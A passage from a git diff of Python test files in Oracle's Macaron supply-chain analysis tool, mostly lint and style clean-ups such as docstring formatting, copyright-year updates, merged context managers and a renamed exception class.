def test_analyze_download_failed_raises_error(analyzer: TypeStubFileAnalyzer, pypi_package_json: MagicMock) -> None:
"""Test the analyzer when source code download fails."""
pypi_package_json.sourcecode.side_effect = SourceCodeError("download failed")
- assert (
+ assert analyzer.analyze(pypi_package_json) == (
HeuristicResult.SKIP,
{"message": "No source code files have been downloaded.", "pyi_files": 0},
- ) == analyzer.analyze(pypi_package_json)
+ )
@pytest.mark.parametrize(
diff --git a/tests/malware_analyzer/pypi/test_unchanged_release.py b/tests/malware_analyzer/pypi/test_unchanged_release.py
index 0a04c4292..e3ff918c3 100644
--- a/tests/malware_analyzer/pypi/test_unchanged_release.py
+++ b/tests/malware_analyzer/pypi/test_unchanged_release.py
@@ -1,7 +1,7 @@
# Copyright (c) 2024 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
-"""Tests for heuristic detecting malicious metadata from PyPI"""
+"""Tests for heuristic detecting malicious metadata from PyPI."""
from unittest.mock import MagicMock
diff --git a/tests/malware_analyzer/pypi/test_wheel_absence.py b/tests/malware_analyzer/pypi/test_wheel_absence.py
index 37716d3cc..ec2ca593d 100644
--- a/tests/malware_analyzer/pypi/test_wheel_absence.py
+++ b/tests/malware_analyzer/pypi/test_wheel_absence.py
@@ -1,7 +1,7 @@
# Copyright (c) 2024 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
-"""Tests for heuristic detecting wheel (.whl) file absence from PyPI packages"""
+"""Tests for heuristic detecting wheel (.whl) file absence from PyPI packages."""
from unittest.mock import MagicMock, patch
@@ -14,7 +14,7 @@
def test_no_information(pypi_package_json: MagicMock) -> None:
- """Test for when inspector links cannot be created, so error"""
+ """Test for when inspector links cannot be created, so error."""
analyzer = WheelAbsenceAnalyzer()
pypi_package_json.get_inspector_src_preview_links.return_value = False
@@ -24,7 +24,7 @@ def test_no_information(pypi_package_json: MagicMock) -> None:
def test_no_wheel_links(pypi_package_json: MagicMock) -> None:
- """Test for when no .whl files are present in the asset, so failed"""
+ """Test for when no .whl files are present in the asset, so failed."""
analyzer = WheelAbsenceAnalyzer()
pypi_package_json.get_inspector_src_preview_links.return_value = True
@@ -36,7 +36,7 @@ def test_no_wheel_links(pypi_package_json: MagicMock) -> None:
def test_wheel_links(pypi_package_json: MagicMock) -> None:
- """Test for when at least one .whl file is present in the asset, so pass"""
+ """Test for when at least one .whl file is present in the asset, so pass."""
analyzer = WheelAbsenceAnalyzer()
link = "https://files.pythonhosted.org/packages/de/fa/2fbcebaeeb909511139ce28dac4a77ab2452ba72b49a22b12981b2f375b3/package.whl"
@@ -53,7 +53,7 @@ def test_wheel_links(pypi_package_json: MagicMock) -> None:
# If it is imported like this: from os import listdir; listdir() then you patch .listdir.
@patch("macaron.slsa_analyzer.package_registry.pypi_registry.send_head_http_raw")
def test_get_inspector_src_preview_links(mock_send_head_http_raw: MagicMock) -> None:
- """Test to make sure the internal function used by this analyzer produces the correct output from JSON metadata"""
+ """Test to make sure the internal function used by this analyzer produces the correct output from JSON metadata."""
version = "0.1.0"
package_name = "ttttttttest_nester"
file_prefix = package_name + "-" + version
diff --git a/tests/parsers/actionparser/test_actionparser.py b/tests/parsers/actionparser/test_actionparser.py
index afc12d37a..3ee6a15bb 100644
--- a/tests/parsers/actionparser/test_actionparser.py
+++ b/tests/parsers/actionparser/test_actionparser.py
@@ -1,9 +1,7 @@
-# Copyright (c) 2022 - 2024, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
-"""
-This module tests the GitHub Actions parser.
-"""
+"""This module tests the GitHub Actions parser."""
import os
from pathlib import Path
diff --git a/tests/parsers/bashparser/test_bashparser.py b/tests/parsers/bashparser/test_bashparser.py
index a489330ac..be6c88181 100644
--- a/tests/parsers/bashparser/test_bashparser.py
+++ b/tests/parsers/bashparser/test_bashparser.py
@@ -1,9 +1,7 @@
# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
-"""
-This module tests the bash parser.
-"""
+"""This module tests the bash parser."""
import json
import os
diff --git a/tests/parsers/pomparser/test_pomparser.py b/tests/parsers/pomparser/test_pomparser.py
index 4ccfe22d6..30a19d511 100644
--- a/tests/parsers/pomparser/test_pomparser.py
+++ b/tests/parsers/pomparser/test_pomparser.py
@@ -1,9 +1,7 @@
# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
-"""
-This module tests the POM parser.
-"""
+"""This module tests the POM parser."""
import os
from pathlib import Path
diff --git a/tests/policy_engine/test_policy.py b/tests/policy_engine/test_policy.py
index b38346c22..0b01b3d39 100644
--- a/tests/policy_engine/test_policy.py
+++ b/tests/policy_engine/test_policy.py
@@ -1,10 +1,10 @@
-# Copyright (c) 2022 - 2024, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""This module tests the policies supported by the policy engine."""
import os
-import subprocess # nosec B404
+import subprocess
from pathlib import Path
import pytest
@@ -19,9 +19,8 @@
@pytest.fixture()
def database_setup() -> None:
"""Prepare the database file."""
- if not os.path.exists(DATABASE_FILE):
- if os.path.exists(DATABASE_FILE + ".gz"):
- subprocess.run(["gunzip", "-k", DATABASE_FILE + ".gz"], check=True, shell=False) # nosec B603 B607
+ if not os.path.exists(DATABASE_FILE) and os.path.exists(DATABASE_FILE + ".gz"):
+ subprocess.run(["gunzip", "-k", DATABASE_FILE + ".gz"], check=True, shell=False) # noqa: S603 S607
def test_dump_prelude(database_setup) -> None: # type: ignore # pylint: disable=unused-argument,redefined-outer-name
diff --git a/tests/policy_engine/test_souffle.py b/tests/policy_engine/test_souffle.py
index 3a927a867..696024909 100644
--- a/tests/policy_engine/test_souffle.py
+++ b/tests/policy_engine/test_souffle.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2023 - 2023, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""Test the Souffle wrapper."""
@@ -29,7 +29,7 @@ def test_interpret_file() -> None:
def test_interpret_text() -> None:
- """Test basic call to interpreting a string literal"""
+ """Test basic call to interpreting a string literal."""
with SouffleWrapper(fact_dir=str(FACT_DIR)) as sfl:
result = sfl.interpret_text(TEXT)
assert result == {"path": [["1", "2"], ["1", "3"], ["2", "3"]]}
diff --git a/tests/repo_finder/test_repo_finder.py b/tests/repo_finder/test_repo_finder.py
index 25a917b3b..7a5ceefee 100644
--- a/tests/repo_finder/test_repo_finder.py
+++ b/tests/repo_finder/test_repo_finder.py
@@ -95,7 +95,6 @@ def test_pom_extraction_ordering(tmp_path: Path, test_config: str, expected: str
"""
[repofinder.java]
artifact_repositories =
-
""",
RepoFinderInfo.NO_MAVEN_HOST_PROVIDED,
),
@@ -103,7 +102,6 @@ def test_pom_extraction_ordering(tmp_path: Path, test_config: str, expected: str
"""
[repofinder.java]
repo_pom_paths =
-
""",
RepoFinderInfo.NO_POM_TAGS_PROVIDED,
),
diff --git a/tests/repo_finder/test_repo_finder_deps_dev.py b/tests/repo_finder/test_repo_finder_deps_dev.py
index 10cb1a5e5..aead1f71f 100644
--- a/tests/repo_finder/test_repo_finder_deps_dev.py
+++ b/tests/repo_finder/test_repo_finder_deps_dev.py
@@ -65,7 +65,8 @@ def test_find_repo_success(httpserver: HTTPServer, deps_dev_service_mock: dict)
],
)
def test_get_project_info_invalid_url(
- deps_dev_service_mock: dict, repo_url: str # pylint: disable=unused-argument
+ deps_dev_service_mock: dict, # pylint: disable=unused-argument
+ repo_url: str,
) -> None:
"""Test get project info invalid url."""
assert not DepsDevRepoFinder().get_project_info(repo_url)
diff --git a/tests/schema_validation/json_schema_validate.py b/tests/schema_validation/json_schema_validate.py
index a95c5dc2a..5b3a0dee8 100644
--- a/tests/schema_validation/json_schema_validate.py
+++ b/tests/schema_validation/json_schema_validate.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2024 - 2024, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2024 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""This module validates the result JSON files against a JSON schema."""
@@ -13,7 +13,7 @@
def main(argv: Sequence[str] | None = None) -> int:
"""Run main logic."""
- if not argv or not len(argv) == 3:
+ if not argv or len(argv) != 3:
print("Usage: python3 schema_validate.py ")
return os.EX_USAGE
diff --git a/tests/schema_validation/test_buildspec_schema_notes.py b/tests/schema_validation/test_buildspec_schema_notes.py
index 035196a21..8b2700c6a 100644
--- a/tests/schema_validation/test_buildspec_schema_notes.py
+++ b/tests/schema_validation/test_buildspec_schema_notes.py
@@ -62,15 +62,11 @@ def test_buildspec_schema_notes_document_schema_fields() -> None:
with open(BUILDSPEC_SCHEMA_NOTES, encoding="utf-8") as file:
notes = file.read()
- missing_top_level_fields = [
- field for field in schema["properties"] if f"`{field}`" not in notes
- ]
+ missing_top_level_fields = [field for field in schema["properties"] if f"`{field}`" not in notes]
assert not missing_top_level_fields
build_command_fields = schema["properties"]["build_commands"]["items"]["properties"]
- missing_build_command_fields = [
- field for field in build_command_fields if f"`{field}`" not in notes
- ]
+ missing_build_command_fields = [field for field in build_command_fields if f"`{field}`" not in notes]
assert not missing_build_command_fields
diff --git a/tests/slsa_analyzer/checks/base_check/test_base_check.py b/tests/slsa_analyzer/checks/base_check/test_base_check.py
index 9c6bb701d..5e8f67d04 100644
--- a/tests/slsa_analyzer/checks/base_check/test_base_check.py
+++ b/tests/slsa_analyzer/checks/base_check/test_base_check.py
@@ -16,7 +16,7 @@ class TestConfiguration(TestCase):
# Disable flake8's D202 check: "No blank lines allowed after function docstring"
def test_raise_implementation_error(self) -> None:
- """Test raising errors if child class does not override abstract method(s).""" # noqa: D202
+ """Test raising errors if child class does not override abstract method(s)."""
# pylint: disable=abstract-method
class ChildCheck(BaseCheck):
diff --git a/tests/slsa_analyzer/checks/test_check_results.py b/tests/slsa_analyzer/checks/test_check_results.py
index c90c81753..58257c61e 100644
--- a/tests/slsa_analyzer/checks/test_check_results.py
+++ b/tests/slsa_analyzer/checks/test_check_results.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""This module contains the tests for the check results."""
@@ -24,16 +24,16 @@ class MockFacts(CheckFacts):
__tablename__ = "_test_check"
#: The primary key.
- id: Mapped[int] = mapped_column( # noqa: A003 # pylint: disable=E1136
+ id: Mapped[int] = mapped_column( # pylint: disable=unsubscriptable-object
ForeignKey("_check_facts.id"), primary_key=True
)
#: The name of the tool used to build.
- test_name: Mapped[str] = mapped_column( # pylint: disable=E1136
+ test_name: Mapped[str] = mapped_column( # pylint: disable=unsubscriptable-object
String, nullable=False, info={"justification": JustificationType.TEXT}
)
- __mapper_args__ = {
+ __mapper_args__ = { # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392)
"polymorphic_identity": "_test_check",
}
diff --git a/tests/slsa_analyzer/checks/test_provenance_witness_l1_check.py b/tests/slsa_analyzer/checks/test_provenance_witness_l1_check.py
index de1e7aae7..87402ad5c 100644
--- a/tests/slsa_analyzer/checks/test_provenance_witness_l1_check.py
+++ b/tests/slsa_analyzer/checks/test_provenance_witness_l1_check.py
@@ -1,11 +1,11 @@
-# Copyright (c) 2023 - 2024, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""Test the check ``provenance_witness_l1_check``."""
import pytest
-from macaron.slsa_analyzer.checks.provenance_witness_l1_check import WitnessProvenanceException, verify_artifact_assets
+from macaron.slsa_analyzer.checks.provenance_witness_l1_check import WitnessProvenanceError, verify_artifact_assets
from macaron.slsa_analyzer.package_registry.jfrog_maven_registry import (
JFrogMavenAsset,
JFrogMavenAssetMetadata,
@@ -234,7 +234,7 @@ def test_non_product_witness_subject(
non_product_subjects: list[InTotoV01Subject],
) -> None:
"""A subject that is not a file attested by the Witness product attestator should raise an exception."""
- with pytest.raises(WitnessProvenanceException):
+ with pytest.raises(WitnessProvenanceError):
verify_artifact_assets(
artifact_assets=artifact_assets,
subjects=non_product_subjects,
diff --git a/tests/slsa_analyzer/checks/test_registry.py b/tests/slsa_analyzer/checks/test_registry.py
index 56ed654a1..bae19697f 100644
--- a/tests/slsa_analyzer/checks/test_registry.py
+++ b/tests/slsa_analyzer/checks/test_registry.py
@@ -20,7 +20,7 @@
class MockCheck(BaseCheck):
- """BaseCheck with no-op impl for abstract method"""
+ """BaseCheck with no-op impl for abstract method."""
def run_check(self, ctx: AnalyzeContext) -> CheckResultData:
return CheckResultData(result_tables=[], result_type=CheckResultType.UNKNOWN)
@@ -88,9 +88,8 @@ def test_add_successfully(self) -> None:
def test_exit_on_registering_undefined_check(self) -> None:
"""Test registering a check which Macaron cannot resolve its module."""
- with patch("inspect.getmodule", return_value=False):
- with pytest.raises(SystemExit):
- self.REGISTRY.register(MockCheck("mcn_undefined_check_1", "This check is an undefined Check."))
+ with patch("inspect.getmodule", return_value=False), pytest.raises(SystemExit):
+ self.REGISTRY.register(MockCheck("mcn_undefined_check_1", "This check is an undefined Check."))
@given(one_of(none(), text(), integers(), tuples(), binary(), booleans()))
def test_exit_on_invalid_check_relationship(self, relationship: SearchStrategy) -> None:
@@ -162,7 +161,11 @@ def test_exit_on_invalid_eval_reqs(self, eval_reqs: SearchStrategy) -> None:
def test_exit_on_invalid_status_on_skipped(self, status_on_skipped: SearchStrategy) -> None:
"""Test registering a check with invalid status_on_skipped instance variable."""
check = MockCheck(
- "mcn_invalid_eval_reqs_1", "Invalid_status_on_skipped", [], [], status_on_skipped # type: ignore
+ "mcn_invalid_eval_reqs_1",
+ "Invalid_status_on_skipped",
+ [],
+ [],
+ status_on_skipped, # type: ignore
)
with pytest.raises(SystemExit):
self.REGISTRY.register(check)
diff --git a/tests/slsa_analyzer/git_service/test_api_client.py b/tests/slsa_analyzer/git_service/test_api_client.py
index 439b53cf9..770f9b65f 100644
--- a/tests/slsa_analyzer/git_service/test_api_client.py
+++ b/tests/slsa_analyzer/git_service/test_api_client.py
@@ -1,10 +1,9 @@
# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
-"""
-This module tests the GhAPIClient module
-"""
+"""This module tests the GhAPIClient module."""
+from typing import ClassVar
from unittest import TestCase
import pytest
@@ -13,11 +12,9 @@
class TestGhAPIClient(TestCase):
- """
- This test provide tests for the GhAPIClient class
- """
+ """This test provide tests for the GhAPIClient class."""
- mock_profile = {
+ mock_profile: ClassVar[dict] = {
"headers": {
"Authorization": "sample_token",
"Accept": "application/vnd.github.v3+json",
@@ -25,20 +22,16 @@ class TestGhAPIClient(TestCase):
"query": ["java+language:java"],
}
- error_mock_profile = {"wrong_field": "Wrong data"}
-
- mock_query_list = ["java+language:java"]
+ error_mock_profile: ClassVar[dict] = {"wrong_field": "Wrong data"}
def test_init(self) -> None:
- """
- Test if the search client is initiated correctly.
- """
+ """Test if the search client is initiated correctly."""
client = GhAPIClient(self.mock_profile)
assert client.headers == {
"Authorization": "sample_token",
"Accept": "application/vnd.github.v3+json",
}
- assert client.query_list == self.mock_query_list
+ assert client.query_list == ["java+language:java"]
# Invalid profile
with pytest.raises(KeyError):
diff --git a/tests/slsa_analyzer/git_service/test_github.py b/tests/slsa_analyzer/git_service/test_github.py
index 604b0a50c..87e1c1a3a 100644
--- a/tests/slsa_analyzer/git_service/test_github.py
+++ b/tests/slsa_analyzer/git_service/test_github.py
@@ -1,9 +1,7 @@
# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
-"""
-This module tests the GitHub git service.
-"""
+"""This module tests the GitHub git service."""
from macaron.slsa_analyzer.git_service import GitHub
diff --git a/tests/slsa_analyzer/mock_git_utils.py b/tests/slsa_analyzer/mock_git_utils.py
index 9aa879d45..5b6011998 100644
--- a/tests/slsa_analyzer/mock_git_utils.py
+++ b/tests/slsa_analyzer/mock_git_utils.py
@@ -1,9 +1,7 @@
-# Copyright (c) 2022 - 2025, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
-"""
-This module contains the methods for preparing mock git repositories for testing SLSA checks.
-"""
+"""This module contains the methods for preparing mock git repositories for testing SLSA checks."""
import os
@@ -68,7 +66,7 @@ def commit_files(git_wrapper: Git, file_names: list) -> bool:
# Store the index object as recommended by the documentation.
current_index = git_wrapper.repo.index
current_index.add(file_names)
- current_index.commit(f"Add files: {str(file_names)}")
+ current_index.commit(f"Add files: {file_names!s}")
return True
except GitError:
return False
diff --git a/tests/slsa_analyzer/package_registry/test_deps_dev.py b/tests/slsa_analyzer/package_registry/test_deps_dev.py
index 700e6ff91..057d8fed6 100644
--- a/tests/slsa_analyzer/package_registry/test_deps_dev.py
+++ b/tests/slsa_analyzer/package_registry/test_deps_dev.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""Tests for the deps.dev service."""
@@ -31,9 +31,9 @@ def test_get_package_info_exception(httpserver: HTTPServer, deps_dev_service_moc
f"/{deps_dev_service_mock['api']}/{deps_dev_service_mock['purl']}/{purl}"
).respond_with_data("Not Valid")
- with pytest.raises(APIAccessError, match="^Failed to process"):
+ with pytest.raises(APIAccessError, match=r"^Failed to process"):
DepsDevService.get_package_info(purl)
# Request an invalid resource.
- with pytest.raises(APIAccessError, match="^No valid response"):
+ with pytest.raises(APIAccessError, match=r"^No valid response"):
DepsDevService.get_package_info("pkg:pypi/test")
diff --git a/tests/slsa_analyzer/package_registry/test_jfrog_maven_registry.py b/tests/slsa_analyzer/package_registry/test_jfrog_maven_registry.py
index 13f0bc693..5a9aea3a2 100644
--- a/tests/slsa_analyzer/package_registry/test_jfrog_maven_registry.py
+++ b/tests/slsa_analyzer/package_registry/test_jfrog_maven_registry.py
@@ -260,7 +260,8 @@ def test_extract_folder_names_from_folder_info_payload(
("args", "expected_file_names"),
[
pytest.param(
- {"folder_info_payload": """
+ {
+ "folder_info_payload": """
{
"children": [
{
@@ -273,7 +274,8 @@ def test_extract_folder_names_from_folder_info_payload(
}
]
}
- """},
+ """
+ },
["child2"],
id="Payload with both files and folders",
),
@@ -452,11 +454,11 @@ def test_extract_file_names_from_folder_info_payload(
},
"downloadUri": "https://registry.jfrog.com/repo/com/fasterxml/jackson/core/jackson-annotations/2.9.9/jackson-annotations-2.9.9.jar"
}
- """, # noqa: B950
+ """,
JFrogMavenAssetMetadata(
size_in_bytes=66897,
sha256_digest="17918b3097285da88371fac925922902a9fe60f075237e76f406c09234c8d614",
- download_uri="https://registry.jfrog.com/repo/com/fasterxml/jackson/core/jackson-annotations/2.9.9/jackson-annotations-2.9.9.jar", # noqa: B950
+ download_uri="https://registry.jfrog.com/repo/com/fasterxml/jackson/core/jackson-annotations/2.9.9/jackson-annotations-2.9.9.jar",
),
id="Valid",
),
diff --git a/tests/slsa_analyzer/package_registry/test_maven_central_registry.py b/tests/slsa_analyzer/package_registry/test_maven_central_registry.py
index c304074f0..9ac4c679b 100644
--- a/tests/slsa_analyzer/package_registry/test_maven_central_registry.py
+++ b/tests/slsa_analyzer/package_registry/test_maven_central_registry.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2023 - 2025, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""Tests for the Maven Central registry."""
@@ -240,7 +240,9 @@ def test_find_publish_timestamp_errors(
@pytest.mark.parametrize("purl_string", ["pkg:maven/example", "pkg:maven/example/test", "pkg:maven/example/test@1"])
def test_get_artifact_hash_failures(
- httpserver: HTTPServer, maven_service: dict, purl_string: str # pylint: disable=unused-argument
+ httpserver: HTTPServer,
+ maven_service: dict, # pylint: disable=unused-argument
+ purl_string: str,
) -> None:
"""Test failures of get artifact hash."""
purl = PackageURL.from_string(purl_string)
@@ -262,7 +264,8 @@ def test_get_artifact_hash_failures(
def test_get_artifact_hash_success(
- httpserver: HTTPServer, maven_service: dict # pylint: disable=unused-argument
+ httpserver: HTTPServer,
+ maven_service: dict, # pylint: disable=unused-argument
) -> None:
"""Test success of get artifact hash."""
purl = PackageURL.from_string("pkg:maven/example/test@1")
diff --git a/tests/slsa_analyzer/package_registry/test_osv_dev.py b/tests/slsa_analyzer/package_registry/test_osv_dev.py
index 6856818ae..8bb277b51 100644
--- a/tests/slsa_analyzer/package_registry/test_osv_dev.py
+++ b/tests/slsa_analyzer/package_registry/test_osv_dev.py
@@ -53,8 +53,8 @@ def test_load_defaults_query_api(tmp_path: Path, user_config_input: str) -> None
def test_is_affected_version_invalid_commit() -> None:
- """Test if the function can handle invalid commits"""
- with pytest.raises(APIAccessError, match="^Failed to find a tag for"):
+ """Test if the function can handle invalid commits."""
+ with pytest.raises(APIAccessError, match=r"^Failed to find a tag for"):
OSVDevService.is_version_affected(
vuln={},
pkg_name="pkg",
@@ -66,7 +66,7 @@ def test_is_affected_version_invalid_commit() -> None:
def test_is_affected_version_invalid_response() -> None:
"""Test if the function can handle empty OSV response."""
- with pytest.raises(APIAccessError, match="^Received invalid response for"):
+ with pytest.raises(APIAccessError, match=r"^Received invalid response for"):
OSVDevService.is_version_affected(
vuln={"vulns": []}, pkg_name="repo/workflow", pkg_version="1.0.0", ecosystem="GitHub Actions"
)
diff --git a/tests/slsa_analyzer/package_registry/test_pypi_registry.py b/tests/slsa_analyzer/package_registry/test_pypi_registry.py
index da0efc78f..a41f7ae3e 100644
--- a/tests/slsa_analyzer/package_registry/test_pypi_registry.py
+++ b/tests/slsa_analyzer/package_registry/test_pypi_registry.py
@@ -101,9 +101,7 @@ def download_file(_url: str, _headers: dict, _dest: str, _timeout: int, _size_li
assert not os.path.exists(source_path)
-def test_download_package_wheel_cleans_up_when_download_raises(
- tmp_path: Path, monkeypatch: pytest.MonkeyPatch
-) -> None:
+def test_download_package_wheel_cleans_up_when_download_raises(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> None:
"""The wheel temp directory should be removed if the download helper raises."""
wheel_name = "example-1.0.0-py3-none-any"
wheel_path = os.path.join(tmp_path, f"{wheel_name}_abcdef")
diff --git a/tests/slsa_analyzer/provenance/intoto/v01/test_validate.py b/tests/slsa_analyzer/provenance/intoto/v01/test_validate.py
index 99d8f4032..a12282905 100644
--- a/tests/slsa_analyzer/provenance/intoto/v01/test_validate.py
+++ b/tests/slsa_analyzer/provenance/intoto/v01/test_validate.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2023 - 2024, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""Tests for validation of in-toto attestation version 0.1."""
@@ -38,7 +38,7 @@
"predicateType": "https://slsa.dev/provenance/v0.2",
"predicate": {
"builder": {
- "id": "https://github.com/slsa-framework/slsa-github-generator/.github/workflows/builder_go_slsa3.yml@refs/tags/v1.5.0" # noqa: B950
+ "id": "https://github.com/slsa-framework/slsa-github-generator/.github/workflows/builder_go_slsa3.yml@refs/tags/v1.5.0"
},
"buildType": "https://github.com/slsa-framework/slsa-github-generator/go@v1",
},
diff --git a/tests/slsa_analyzer/test_analyze_context.py b/tests/slsa_analyzer/test_analyze_context.py
index 4b1b1e776..172a1928b 100644
--- a/tests/slsa_analyzer/test_analyze_context.py
+++ b/tests/slsa_analyzer/test_analyze_context.py
@@ -1,10 +1,10 @@
-# Copyright (c) 2022 - 2025, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""This module contains tests for the AnalyzeContext module."""
+from types import MappingProxyType
from unittest import TestCase
-from unittest.mock import MagicMock
from macaron.code_analyzer.dataflow_analysis.core import NodeForest
from macaron.json_tools import JsonType
@@ -19,16 +19,14 @@
class TestAnalyzeContext(TestCase):
- """
- This class tests the AnalyzeContext module
- """
+ """This class tests the AnalyzeContext module."""
- MOCK_CTX_DATA = {
- ReqName.BUILD_SERVICE: SLSAReqStatus(),
- ReqName.VCS: SLSAReqStatus(),
- }
-
- MOCK_GIT_OBJ = MagicMock()
+ MOCK_CTX_DATA = MappingProxyType(
+ {
+ ReqName.BUILD_SERVICE: SLSAReqStatus(),
+ ReqName.VCS: SLSAReqStatus(),
+ }
+ )
MOCK_REPO_PATH = "/home/repo_name"
@@ -37,20 +35,16 @@ class TestAnalyzeContext(TestCase):
MOCK_DATE = "2021-04-5"
def setUp(self) -> None:
- """
- Set up the sample AnalyzeContext instance
- """
+ """Set up the sample AnalyzeContext instance."""
self.analyze_ctx = MockAnalyzeContext(macaron_path="", output_dir="")
self.analyze_ctx.component.repository.full_name = "owner/repo_name"
self.analyze_ctx.component.repository.fs_path = self.MOCK_REPO_PATH
self.analyze_ctx.component.repository.commit_sha = self.MOCK_COMMIT_HASH
self.analyze_ctx.component.repository.commit_date = self.MOCK_DATE
- self.analyze_ctx.ctx_data = self.MOCK_CTX_DATA
+ self.analyze_ctx.ctx_data = {**self.MOCK_CTX_DATA}
def test_update_req_status(self) -> None:
- """
- Test updating one requirement in the context
- """
+ """Test updating one requirement in the context."""
self.analyze_ctx.update_req_status(ReqName.BUILD_SERVICE, True, "sample_fb")
assert self.analyze_ctx.ctx_data[ReqName.BUILD_SERVICE].get_tuple() == (
True,
diff --git a/tests/slsa_analyzer/test_git_url.py b/tests/slsa_analyzer/test_git_url.py
index f84bbbdfa..2c79c61eb 100644
--- a/tests/slsa_analyzer/test_git_url.py
+++ b/tests/slsa_analyzer/test_git_url.py
@@ -79,9 +79,7 @@ def test_get_repo_name_from_url(
def test_is_remote_repo() -> None:
- """
- Test the is_remote_repo method
- """
+ """Test the is_remote_repo method."""
repo_name = "repo_name"
remote_urls = [
f"git@github.com:owner/{repo_name}.git",
diff --git a/tests/slsa_analyzer/test_slsa_requirements.py b/tests/slsa_analyzer/test_slsa_requirements.py
index 4a33e0d44..7dc9efeff 100644
--- a/tests/slsa_analyzer/test_slsa_requirements.py
+++ b/tests/slsa_analyzer/test_slsa_requirements.py
@@ -1,19 +1,15 @@
-# Copyright (c) 2022 - 2023, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
-"""
-This module test the slsa_analyzer.requirement module
-"""
+"""This module test the slsa_analyzer.requirement module."""
from macaron.slsa_analyzer.slsa_req import SLSAReqStatus
def test_slsa_requirements_status() -> None:
- """
- Test requirement status
- """
+ """Test requirement status."""
req_status = SLSAReqStatus()
- assert (False, False, "") == req_status.get_tuple()
+ assert req_status.get_tuple() == (False, False, "")
feedback = "This repo passes this requirement"
req_status.set_status(True, feedback)
diff --git a/tests/test_util.py b/tests/test_util.py
index fa68b6123..6e4c80c02 100644
--- a/tests/test_util.py
+++ b/tests/test_util.py
@@ -1,9 +1,7 @@
# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
-"""
-This module test the Util methods
-"""
+"""This module test the Util methods."""
from collections.abc import Callable
from unittest import TestCase
@@ -18,14 +16,10 @@
class TestUtil(TestCase):
- """
- This class provide tests for the util package.
- """
+ """This class provide tests for the util package."""
def test_construct_query(self) -> None:
- """
- Test whether query is constructed properly
- """
+ """Test whether query is constructed properly."""
query = util.construct_query(
{
"q": "Some simple query language:java",
@@ -38,9 +32,7 @@ def test_construct_query(self) -> None:
# TODO: the copy_file_bulk method is essential, however, this test
# needs further work.
def test_copy_file_bulk(self) -> None:
- """
- Test the copy file bulk method
- """
+ """Test the copy file bulk method."""
src_path = "/src/path"
target_path = "/target/path"
@@ -60,10 +52,9 @@ def test_copy_file_bulk(self) -> None:
# Testing copy behaviors.
with patch("os.makedirs") as mock_make_dirs:
# Test ignoring existed files.
- with patch("os.path.exists", return_value=True):
- with patch("macaron.util.copy_file") as mock_copy_file:
- assert util.copy_file_bulk(["file"], src_path, target_path)
- mock_copy_file.assert_not_called()
+ with patch("os.path.exists", return_value=True), patch("macaron.util.copy_file") as mock_copy_file:
